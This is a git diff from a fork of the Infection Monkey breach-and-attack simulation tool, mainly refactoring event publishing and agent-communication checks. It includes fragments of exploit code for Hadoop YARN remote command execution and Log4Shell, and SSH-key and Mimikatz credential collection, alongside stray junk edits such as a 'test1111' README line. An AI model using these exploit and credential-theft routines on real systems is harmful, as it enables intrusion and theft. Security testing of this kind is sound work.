Compare commits

..

1 Commits

Author SHA1 Message Date
Kekoa Kaaikala 0ca23cb88f BB: Refactor agent communication check
Updated CommunicationAnalyzer to use the /api/agents and /api/machines
endpoints to determine whether or not an agent communicated back to the
island.
2022-10-03 18:15:15 +00:00
62 changed files with 803 additions and 1552 deletions

View File

@ -115,8 +115,6 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
- "/api/island-configuration" endpoint. #2003 - "/api/island-configuration" endpoint. #2003
- "-t/--tunnel" from agent command line arguments. #2216 - "-t/--tunnel" from agent command line arguments. #2216
- "/api/monkey-control/neets-to-stop". #2261 - "/api/monkey-control/neets-to-stop". #2261
- "GET /api/test/monkey" endpoint. #2269
- "GET /api/test/log" endpoint. #2269
### Fixed ### Fixed
- A bug in network map page that caused delay of telemetry log loading. #1545 - A bug in network map page that caused delay of telemetry log loading. #1545

View File

@ -29,7 +29,7 @@ Monkey on our [website](https://www.akamai.com/infectionmonkey).
For more information, or to apply, see the official job post: For more information, or to apply, see the official job post:
- [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224) - [Israel](https://akamaicareers.inflightcloud.com/jobdetails/aka_ext/028224?section=aka_ext&job=028224)
test1111
## Screenshots ## Screenshots

View File

@ -1,13 +0,0 @@
import json
data = {
'name' : 'myname',
'age' : 100,
}
# separators:是分隔符的意思参数意思分别为不同dict项之间的分隔符和dict项内key和value之间的分隔符后面的空格都除去了.
# dumps 将python对象字典转换为json字符串
json_str = json.dumps(data, separators=(',', ':'))
print(type(json_str), json_str)
# loads 将json字符串转化为python对象字典
pyton_obj = json.loads(json_str)
print(type(pyton_obj), pyton_obj)

View File

@ -1 +0,0 @@
是分为氛围

View File

@ -1 +0,0 @@
123456

View File

@ -15,6 +15,7 @@ SLEEP_BETWEEN_REQUESTS_SECONDS = 0.5
GET_AGENTS_ENDPOINT = "api/agents" GET_AGENTS_ENDPOINT = "api/agents"
GET_LOG_ENDPOINT = "api/agent-logs" GET_LOG_ENDPOINT = "api/agent-logs"
GET_MACHINES_ENDPOINT = "api/machines" GET_MACHINES_ENDPOINT = "api/machines"
MONKEY_TEST_ENDPOINT = "api/test/monkey"
TELEMETRY_TEST_ENDPOINT = "api/test/telemetry" TELEMETRY_TEST_ENDPOINT = "api/test/telemetry"
LOGGER = logging.getLogger(__name__) LOGGER = logging.getLogger(__name__)
@ -138,6 +139,14 @@ class MonkeyIslandClient(object):
LOGGER.error("Failed to reset island mode") LOGGER.error("Failed to reset island mode")
assert False assert False
def find_monkeys_in_db(self, query):
if query is None:
raise TypeError
response = self.requests.get(
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query)
)
return MonkeyIslandClient.get_test_query_results(response)
def find_telems_in_db(self, query: dict): def find_telems_in_db(self, query: dict):
if query is None: if query is None:
raise TypeError raise TypeError
@ -146,6 +155,12 @@ class MonkeyIslandClient(object):
) )
return MonkeyIslandClient.get_test_query_results(response) return MonkeyIslandClient.get_test_query_results(response)
def get_all_monkeys_from_db(self):
response = self.requests.get(
MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(None)
)
return MonkeyIslandClient.get_test_query_results(response)
def get_agents(self) -> Sequence[Agent]: def get_agents(self) -> Sequence[Agent]:
response = self.requests.get(GET_AGENTS_ENDPOINT) response = self.requests.get(GET_AGENTS_ENDPOINT)
@ -171,5 +186,5 @@ class MonkeyIslandClient(object):
return json.loads(response.content)["results"] return json.loads(response.content)["results"]
def is_all_monkeys_dead(self): def is_all_monkeys_dead(self):
agents = self.get_agents() query = {"dead": False}
return all((a.stop_time is not None for a in agents)) return len(self.find_monkeys_in_db(query)) == 0

View File

@ -1,6 +1,3 @@
from ipaddress import IPv4Address
from typing import Collection
import pytest import pytest
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
@ -43,17 +40,18 @@ def island_client(island):
@pytest.mark.usefixtures("island_client") @pytest.mark.usefixtures("island_client")
# noinspection PyUnresolvedReferences # noinspection PyUnresolvedReferences
class TestOSCompatibility(object): class TestOSCompatibility(object):
def test_os_compat(self, island_client: MonkeyIslandClient): def test_os_compat(self, island_client):
print() print()
ips_that_communicated = self._get_agent_ips(island_client) all_monkeys = island_client.get_all_monkeys_from_db()
ips_that_communicated = []
for monkey in all_monkeys:
for ip in monkey["ip_addresses"]:
if ip in machine_list:
ips_that_communicated.append(ip)
break
for ip, os in machine_list.items(): for ip, os in machine_list.items():
if IPv4Address(ip) not in ips_that_communicated: if ip not in ips_that_communicated:
print("{} didn't communicate to island".format(os)) print("{} didn't communicate to island".format(os))
if len(ips_that_communicated) < len(machine_list): if len(ips_that_communicated) < len(machine_list):
assert False assert False
def _get_agent_ips(self, island_client: MonkeyIslandClient) -> Collection[IPv4Address]:
agents = island_client.get_agents()
machines = island_client.get_machines()
return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces}

View File

@ -1,10 +1,4 @@
from common.agent_events import ( from common.agent_events import CredentialsStolenEvent, PingScanEvent, TCPScanEvent
CredentialsStolenEvent,
ExploitationEvent,
PingScanEvent,
PropagationEvent,
TCPScanEvent,
)
from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer from . import AgentEventSerializerRegistry, PydanticAgentEventSerializer
@ -17,5 +11,3 @@ def register_common_agent_event_serializers(
) )
event_serializer_registry[PingScanEvent] = PydanticAgentEventSerializer(PingScanEvent) event_serializer_registry[PingScanEvent] = PydanticAgentEventSerializer(PingScanEvent)
event_serializer_registry[TCPScanEvent] = PydanticAgentEventSerializer(TCPScanEvent) event_serializer_registry[TCPScanEvent] = PydanticAgentEventSerializer(TCPScanEvent)
event_serializer_registry[PropagationEvent] = PydanticAgentEventSerializer(PropagationEvent)
event_serializer_registry[ExploitationEvent] = PydanticAgentEventSerializer(ExploitationEvent)

View File

@ -10,11 +10,6 @@ class InfectionMonkeyModelConfig:
extra = Extra.forbid extra = Extra.forbid
class MutableInfectionMonkeyModelConfig(InfectionMonkeyModelConfig):
allow_mutation = True
validate_assignment = True
class InfectionMonkeyBaseModel(BaseModel): class InfectionMonkeyBaseModel(BaseModel):
class Config(InfectionMonkeyModelConfig): class Config(InfectionMonkeyModelConfig):
pass pass
@ -52,5 +47,6 @@ class InfectionMonkeyBaseModel(BaseModel):
class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel): class MutableInfectionMonkeyBaseModel(InfectionMonkeyBaseModel):
class Config(MutableInfectionMonkeyModelConfig): class Config(InfectionMonkeyModelConfig):
pass allow_mutation = True
validate_assignment = True

View File

@ -1,14 +0,0 @@
from .attack import (
T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG,
T1021_ATTACK_TECHNIQUE_TAG,
T1059_ATTACK_TECHNIQUE_TAG,
T1098_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1145_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
T1570_ATTACK_TECHNIQUE_TAG,
)

View File

@ -1,12 +0,0 @@
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021"
T1059_ATTACK_TECHNIQUE_TAG = "attack-t1059"
T1098_ATTACK_TECHNIQUE_TAG = "attack-t1098"
T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105"
T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110"
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203"
T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210"
T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222"
T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570"

View File

@ -28,17 +28,6 @@ JSONSerializable = Union[ # type: ignore[misc]
] ]
class NetworkService(Enum):
"""
An Enum representing network services
This Enum represents all network services that Infection Monkey supports. The value of each
member is the member's name in all lower-case characters.
"""
UNKNOWN = "unknown"
class NetworkPort(ConstrainedInt): class NetworkPort(ConstrainedInt):
""" """
Define network port as constrainer integer. Define network port as constrainer integer.

View File

@ -1,5 +0,0 @@
from .notify_relay_on_propagation import notify_relay_on_propagation
from .agent_event_forwarder import AgentEventForwarder
from .add_stolen_credentials_to_repository import (
add_stolen_credentials_to_propagation_credentials_repository,
)

View File

@ -1,31 +0,0 @@
import logging
from typing import Optional
from common.agent_events import PropagationEvent
from infection_monkey.network.relay import TCPRelay
logger = logging.getLogger(__name__)
class notify_relay_on_propagation:
"""
Notifies a TCPRelay of potential relay users if propagation is successful
"""
def __init__(self, tcp_relay: Optional[TCPRelay]):
"""
:param tcp_relay: A TCPRelay to notify on successful propagation
"""
self._tcp_relay = tcp_relay
def __call__(self, event: PropagationEvent):
"""
Notify a TCPRelay of potential relay users if propagation is successful
:param event: A `PropagationEvent`
"""
if self._tcp_relay is None:
return
if event.success:
self._tcp_relay.add_potential_user(event.target)

View File

@ -4,7 +4,6 @@ from typing import Sequence
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, LMHash, NTHash, Password, Username from common.credentials import Credentials, LMHash, NTHash, Password, Username
from common.event_queue import IAgentEventQueue from common.event_queue import IAgentEventQueue
from common.tags import T1003_ATTACK_TECHNIQUE_TAG, T1005_ATTACK_TECHNIQUE_TAG
from infection_monkey.i_puppet import ICredentialCollector from infection_monkey.i_puppet import ICredentialCollector
from infection_monkey.model import USERNAME_PREFIX from infection_monkey.model import USERNAME_PREFIX
from infection_monkey.utils.ids import get_agent_id from infection_monkey.utils.ids import get_agent_id
@ -16,6 +15,8 @@ logger = logging.getLogger(__name__)
MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector" MIMIKATZ_CREDENTIAL_COLLECTOR_TAG = "mimikatz-credentials-collector"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
MIMIKATZ_EVENT_TAGS = frozenset( MIMIKATZ_EVENT_TAGS = frozenset(
( (
@ -27,8 +28,8 @@ MIMIKATZ_EVENT_TAGS = frozenset(
class MimikatzCredentialCollector(ICredentialCollector): class MimikatzCredentialCollector(ICredentialCollector):
def __init__(self, agent_event_queue: IAgentEventQueue): def __init__(self, event_queue: IAgentEventQueue):
self._agent_event_queue = agent_event_queue self._event_queue = event_queue
def collect_credentials(self, options=None) -> Sequence[Credentials]: def collect_credentials(self, options=None) -> Sequence[Credentials]:
logger.info("Attempting to collect windows credentials with pypykatz.") logger.info("Attempting to collect windows credentials with pypykatz.")
@ -81,4 +82,4 @@ class MimikatzCredentialCollector(ICredentialCollector):
stolen_credentials=collected_credentials, stolen_credentials=collected_credentials,
) )
self._agent_event_queue.publish(credentials_stolen_event) self._event_queue.publish(credentials_stolen_event)

View File

@ -15,15 +15,13 @@ class SSHCredentialCollector(ICredentialCollector):
SSH keys credential collector SSH keys credential collector
""" """
def __init__( def __init__(self, telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue):
self, telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue
):
self._telemetry_messenger = telemetry_messenger self._telemetry_messenger = telemetry_messenger
self._agent_event_queue = agent_event_queue self._event_queue = event_queue
def collect_credentials(self, _options=None) -> Sequence[Credentials]: def collect_credentials(self, _options=None) -> Sequence[Credentials]:
logger.info("Started scanning for SSH credentials") logger.info("Started scanning for SSH credentials")
ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._agent_event_queue) ssh_info = ssh_handler.get_ssh_info(self._telemetry_messenger, self._event_queue)
logger.info("Finished scanning for SSH credentials") logger.info("Finished scanning for SSH credentials")
return ssh_handler.to_credentials(ssh_info) return ssh_handler.to_credentials(ssh_info)

View File

@ -6,11 +6,6 @@ from typing import Dict, Iterable, Sequence
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from common.credentials import Credentials, SSHKeypair, Username from common.credentials import Credentials, SSHKeypair, Username
from common.event_queue import IAgentEventQueue from common.event_queue import IAgentEventQueue
from common.tags import (
T1003_ATTACK_TECHNIQUE_TAG,
T1005_ATTACK_TECHNIQUE_TAG,
T1145_ATTACK_TECHNIQUE_TAG,
)
from common.utils.attack_utils import ScanStatus from common.utils.attack_utils import ScanStatus
from infection_monkey.telemetry.attack.t1005_telem import T1005Telem from infection_monkey.telemetry.attack.t1005_telem import T1005Telem
from infection_monkey.telemetry.attack.t1145_telem import T1145Telem from infection_monkey.telemetry.attack.t1145_telem import T1145Telem
@ -22,6 +17,9 @@ logger = logging.getLogger(__name__)
DEFAULT_DIRS = ["/.ssh/", "/"] DEFAULT_DIRS = ["/.ssh/", "/"]
SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector" SSH_CREDENTIAL_COLLECTOR_TAG = "ssh-credentials-collector"
T1003_ATTACK_TECHNIQUE_TAG = "attack-t1003"
T1005_ATTACK_TECHNIQUE_TAG = "attack-t1005"
T1145_ATTACK_TECHNIQUE_TAG = "attack-t1145"
SSH_COLLECTOR_EVENT_TAGS = frozenset( SSH_COLLECTOR_EVENT_TAGS = frozenset(
( (
@ -34,7 +32,7 @@ SSH_COLLECTOR_EVENT_TAGS = frozenset(
def get_ssh_info( def get_ssh_info(
telemetry_messenger: ITelemetryMessenger, agent_event_queue: IAgentEventQueue telemetry_messenger: ITelemetryMessenger, event_queue: IAgentEventQueue
) -> Iterable[Dict]: ) -> Iterable[Dict]:
# TODO: Remove this check when this is turned into a plugin. # TODO: Remove this check when this is turned into a plugin.
if is_windows_os(): if is_windows_os():
@ -44,7 +42,7 @@ def get_ssh_info(
return [] return []
home_dirs = _get_home_dirs() home_dirs = _get_home_dirs()
ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, agent_event_queue) ssh_info = _get_ssh_files(home_dirs, telemetry_messenger, event_queue)
return ssh_info return ssh_info
@ -85,7 +83,7 @@ def _get_ssh_struct(name: str, home_dir: str) -> Dict:
def _get_ssh_files( def _get_ssh_files(
user_info: Iterable[Dict], user_info: Iterable[Dict],
telemetry_messenger: ITelemetryMessenger, telemetry_messenger: ITelemetryMessenger,
agent_event_queue: IAgentEventQueue, event_queue: IAgentEventQueue,
) -> Iterable[Dict]: ) -> Iterable[Dict]:
for info in user_info: for info in user_info:
path = info["home_dir"] path = info["home_dir"]
@ -127,7 +125,7 @@ def _get_ssh_files(
collected_credentials = to_credentials([info]) collected_credentials = to_credentials([info])
_publish_credentials_stolen_event( _publish_credentials_stolen_event(
collected_credentials, agent_event_queue collected_credentials, event_queue
) )
else: else:
continue continue
@ -172,7 +170,7 @@ def to_credentials(ssh_info: Iterable[Dict]) -> Sequence[Credentials]:
def _publish_credentials_stolen_event( def _publish_credentials_stolen_event(
collected_credentials: Sequence[Credentials], agent_event_queue: IAgentEventQueue collected_credentials: Credentials, event_queue: IAgentEventQueue
): ):
credentials_stolen_event = CredentialsStolenEvent( credentials_stolen_event = CredentialsStolenEvent(
source=get_agent_id(), source=get_agent_id(),
@ -180,4 +178,4 @@ def _publish_credentials_stolen_event(
stolen_credentials=collected_credentials, stolen_credentials=collected_credentials,
) )
agent_event_queue.publish(credentials_stolen_event) event_queue.publish(credentials_stolen_event)

View File

@ -2,3 +2,6 @@ from .i_propagation_credentials_repository import IPropagationCredentialsReposit
from .aggregating_propagation_credentials_repository import ( from .aggregating_propagation_credentials_repository import (
AggregatingPropagationCredentialsRepository, AggregatingPropagationCredentialsRepository,
) )
from .add_credentials_from_event import (
add_credentials_from_event_to_propagation_credentials_repository,
)

View File

@ -1,12 +1,13 @@
import logging import logging
from common.agent_events import CredentialsStolenEvent from common.agent_events import CredentialsStolenEvent
from infection_monkey.credential_repository import IPropagationCredentialsRepository
from . import IPropagationCredentialsRepository
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
class add_stolen_credentials_to_propagation_credentials_repository: class add_credentials_from_event_to_propagation_credentials_repository:
def __init__(self, credentials_repository: IPropagationCredentialsRepository): def __init__(self, credentials_repository: IPropagationCredentialsRepository):
self._credentials_repository = credentials_repository self._credentials_repository = credentials_repository

View File

@ -2,17 +2,13 @@ import logging
import threading import threading
from abc import abstractmethod from abc import abstractmethod
from datetime import datetime from datetime import datetime
from ipaddress import IPv4Address from typing import Dict, Sequence
from time import time
from typing import Dict, Sequence, Tuple
from common.agent_events import ExploitationEvent, PropagationEvent
from common.event_queue import IAgentEventQueue from common.event_queue import IAgentEventQueue
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.model import VictimHost from infection_monkey.model import VictimHost
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from infection_monkey.utils.ids import get_agent_id
from . import IAgentBinaryRepository from . import IAgentBinaryRepository
@ -25,16 +21,6 @@ class HostExploiter:
def _EXPLOITED_SERVICE(self): def _EXPLOITED_SERVICE(self):
pass pass
@property
@abstractmethod
def _EXPLOITER_TAGS(self) -> Tuple[str, ...]:
pass
@property
@abstractmethod
def _PROPAGATION_TAGS(self) -> Tuple[str, ...]:
pass
def __init__(self): def __init__(self):
self.exploit_info = { self.exploit_info = {
"display_name": self._EXPLOITED_SERVICE, "display_name": self._EXPLOITED_SERVICE,
@ -47,7 +33,7 @@ class HostExploiter:
self.exploit_attempts = [] self.exploit_attempts = []
self.host = None self.host = None
self.telemetry_messenger = None self.telemetry_messenger = None
self.agent_event_queue = None self.event_queue = None
self.options = {} self.options = {}
self.exploit_result = {} self.exploit_result = {}
self.servers = [] self.servers = []
@ -76,7 +62,7 @@ class HostExploiter:
servers: Sequence[str], servers: Sequence[str],
current_depth: int, current_depth: int,
telemetry_messenger: ITelemetryMessenger, telemetry_messenger: ITelemetryMessenger,
agent_event_queue: IAgentEventQueue, event_queue: IAgentEventQueue,
agent_binary_repository: IAgentBinaryRepository, agent_binary_repository: IAgentBinaryRepository,
options: Dict, options: Dict,
interrupt: threading.Event, interrupt: threading.Event,
@ -85,7 +71,7 @@ class HostExploiter:
self.servers = servers self.servers = servers
self.current_depth = current_depth self.current_depth = current_depth
self.telemetry_messenger = telemetry_messenger self.telemetry_messenger = telemetry_messenger
self.agent_event_queue = agent_event_queue self.event_queue = event_queue
self.agent_binary_repository = agent_binary_repository self.agent_binary_repository = agent_binary_repository
self.options = options self.options = options
self.interrupt = interrupt self.interrupt = interrupt
@ -138,39 +124,3 @@ class HostExploiter:
""" """
powershell = True if "powershell" in cmd.lower() else False powershell = True if "powershell" in cmd.lower() else False
self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell})
def _publish_exploitation_event(
self,
time: float = time(),
success: bool = False,
tags: Tuple[str, ...] = tuple(),
error_message: str = "",
):
exploitation_event = ExploitationEvent(
source=get_agent_id(),
target=IPv4Address(self.host.ip_addr),
success=success,
exploiter_name=self.__class__.__name__,
error_message=error_message,
timestamp=time,
tags=frozenset(tags or self._EXPLOITER_TAGS),
)
self.agent_event_queue.publish(exploitation_event)
def _publish_propagation_event(
self,
time: float = time(),
success: bool = False,
tags: Tuple[str, ...] = tuple(),
error_message: str = "",
):
propagation_event = PropagationEvent(
source=get_agent_id(),
target=IPv4Address(self.host.ip_addr),
success=success,
exploiter_name=self.__class__.__name__,
error_message=error_message,
timestamp=time,
tags=frozenset(tags or self._PROPAGATION_TAGS),
)
self.agent_event_queue.publish(propagation_event)

View File

@ -5,20 +5,13 @@
""" """
import json import json
import logging
import posixpath import posixpath
import random import random
import string import string
from time import time
import requests import requests
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.exploit.web_rce import WebRCE from infection_monkey.exploit.web_rce import WebRCE
@ -30,10 +23,6 @@ from infection_monkey.model import (
) )
from infection_monkey.utils.commands import build_monkey_commandline from infection_monkey.utils.commands import build_monkey_commandline
logger = logging.getLogger(__name__)
HADOOP_EXPLOITER_TAG = "hadoop-exploiter"
class HadoopExploiter(WebRCE): class HadoopExploiter(WebRCE):
_EXPLOITED_SERVICE = "Hadoop" _EXPLOITED_SERVICE = "Hadoop"
@ -43,43 +32,39 @@ class HadoopExploiter(WebRCE):
# Random string's length that's used for creating unique app name # Random string's length that's used for creating unique app name
RAN_STR_LEN = 6 RAN_STR_LEN = 6
_EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG)
def __init__(self): def __init__(self):
super(HadoopExploiter, self).__init__() super(HadoopExploiter, self).__init__()
def _exploit_host(self): def _exploit_host(self):
# Try to get potential urls # Try to get exploitable url
potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS)
if not potential_urls: self.add_vulnerable_urls(urls, True)
self.exploit_result.error_message = ( if not self.vulnerable_urls:
f"No potential exploitable urls has been found for {self.host}"
)
return self.exploit_result return self.exploit_result
try:
monkey_path_on_victim = get_agent_dst_path(self.host) monkey_path_on_victim = get_agent_dst_path(self.host)
except KeyError:
return self.exploit_result
http_path, http_thread = HTTPTools.create_locked_transfer( http_path, http_thread = HTTPTools.create_locked_transfer(
self.host, str(monkey_path_on_victim), self.agent_binary_repository self.host, str(monkey_path_on_victim), self.agent_binary_repository
) )
command = self._build_command(monkey_path_on_victim, http_path)
try: try:
for url in potential_urls: command = self._build_command(monkey_path_on_victim, http_path)
if self.exploit(url, command):
if self.exploit(self.vulnerable_urls[0], command):
self.add_executed_cmd(command) self.add_executed_cmd(command)
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
break
finally: finally:
http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop() http_thread.stop()
return self.exploit_result return self.exploit_result
def exploit(self, url: str, command: str): def exploit(self, url, command):
if self._is_interrupted(): if self._is_interrupted():
self._set_interrupted() self._set_interrupted()
return False return False
@ -88,8 +73,8 @@ class HadoopExploiter(WebRCE):
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT
) )
resp_dict = json.loads(resp.content) resp = json.loads(resp.content)
app_id = resp_dict["application-id"] app_id = resp["application-id"]
# Create a random name for our application in YARN # Create a random name for our application in YARN
# random.SystemRandom can block indefinitely in Linux # random.SystemRandom can block indefinitely in Linux
@ -102,16 +87,10 @@ class HadoopExploiter(WebRCE):
self._set_interrupted() self._set_interrupted()
return False return False
timestamp = time()
resp = requests.post( resp = requests.post(
posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT
) )
return resp.status_code == 202
success = resp.status_code == 202
message = "" if success else f"Failed to exploit via {url}"
self._publish_exploitation_event(timestamp, success, error_message=message)
self._publish_propagation_event(timestamp, success, error_message=message)
return success
def check_if_exploitable(self, url): def check_if_exploitable(self, url):
try: try:

View File

@ -4,11 +4,6 @@ from pathlib import PurePath
from common import OperatingSystem from common import OperatingSystem
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.tags import (
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
from common.utils import Timer from common.utils import Timer
from infection_monkey.exploit.log4shell_utils import ( from infection_monkey.exploit.log4shell_utils import (
LINUX_EXPLOIT_TEMPLATE_PATH, LINUX_EXPLOIT_TEMPLATE_PATH,
@ -31,26 +26,12 @@ from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
LOG4SHELL_EXPLOITER_TAG = "log4shell-exploiter"
VICTIM_WAIT_SLEEP_TIME_SEC = 0.050
class Log4ShellExploiter(WebRCE): class Log4ShellExploiter(WebRCE):
_EXPLOITED_SERVICE = "Log4j" _EXPLOITED_SERVICE = "Log4j"
SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT SERVER_SHUTDOWN_TIMEOUT = LONG_REQUEST_TIMEOUT
REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT REQUEST_TO_VICTIM_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
_EXPLOITER_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
)
_PROPAGATION_TAGS = (
LOG4SHELL_EXPLOITER_TAG,
T1203_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
)
def _exploit_host(self) -> ExploiterResultData: def _exploit_host(self) -> ExploiterResultData:
self._open_ports = [ self._open_ports = [
int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"])
@ -165,37 +146,24 @@ class Log4ShellExploiter(WebRCE):
f"on port {port}" f"on port {port}"
) )
try: try:
timestamp = time.time()
url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port)
except Exception as err: except Exception as ex:
error_message = ( logger.warning(
"An error occurred while attempting to exploit log4shell on a " "An error occurred while attempting to exploit log4shell on a "
f"potential {exploit.service_name} service: {err}" f"potential {exploit.service_name} service: {ex}"
) )
logger.warning(error_message) if self._wait_for_victim():
self._publish_exploitation_event(timestamp, False, error_message=error_message)
# TODO: _wait_for_victim() gets called even if trigger_exploit() raises an
# exception. Is that the desired behavior?
if self._wait_for_victim(timestamp):
self.exploit_info["vulnerable_service"] = { self.exploit_info["vulnerable_service"] = {
"service_name": exploit.service_name, "service_name": exploit.service_name,
"port": port, "port": port,
} }
self.exploit_info["vulnerable_urls"].append(url) self.exploit_info["vulnerable_urls"].append(url)
def _wait_for_victim(self, timestamp: float) -> bool: def _wait_for_victim(self) -> bool:
victim_called_back = self._wait_for_victim_to_download_java_bytecode() victim_called_back = self._wait_for_victim_to_download_java_bytecode()
if victim_called_back: if victim_called_back:
self._publish_exploitation_event(timestamp, True) self._wait_for_victim_to_download_agent()
victim_downloaded_agent = self._wait_for_victim_to_download_agent()
self._publish_propagation_event(success=victim_downloaded_agent)
else:
error_message = "Timed out while waiting for victim to download the java bytecode"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
return victim_called_back return victim_called_back
@ -208,20 +176,19 @@ class Log4ShellExploiter(WebRCE):
self.exploit_result.exploitation_success = True self.exploit_result.exploitation_success = True
return True return True
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) time.sleep(1)
logger.debug("Timed out while waiting for victim to download the java bytecode")
return False return False
def _wait_for_victim_to_download_agent(self) -> bool: def _wait_for_victim_to_download_agent(self):
timer = Timer() timer = Timer()
timer.set(LONG_REQUEST_TIMEOUT) timer.set(LONG_REQUEST_TIMEOUT)
while not timer.is_expired(): while not timer.is_expired():
if self._agent_http_server_thread.downloads > 0: if self._agent_http_server_thread.downloads > 0:
self.exploit_result.propagation_success = True self.exploit_result.propagation_success = True
return True break
# TODO: if the http server got an error we're waiting for nothing here # TODO: if the http server got an error we're waiting for nothing here
time.sleep(VICTIM_WAIT_SLEEP_TIME_SEC) time.sleep(1)
return False

View File

@ -1,18 +1,12 @@
import logging import logging
from pathlib import PureWindowsPath from pathlib import PureWindowsPath
from time import sleep, time from time import sleep
from typing import Iterable, Optional, Tuple from typing import Sequence, Tuple
import pymssql import pymssql
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from common.credentials import get_plaintext from common.credentials import get_plaintext
from common.tags import (
T1059_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1210_ATTACK_TECHNIQUE_TAG,
)
from common.utils.exceptions import FailedExploitationError from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.helpers import get_agent_dst_path
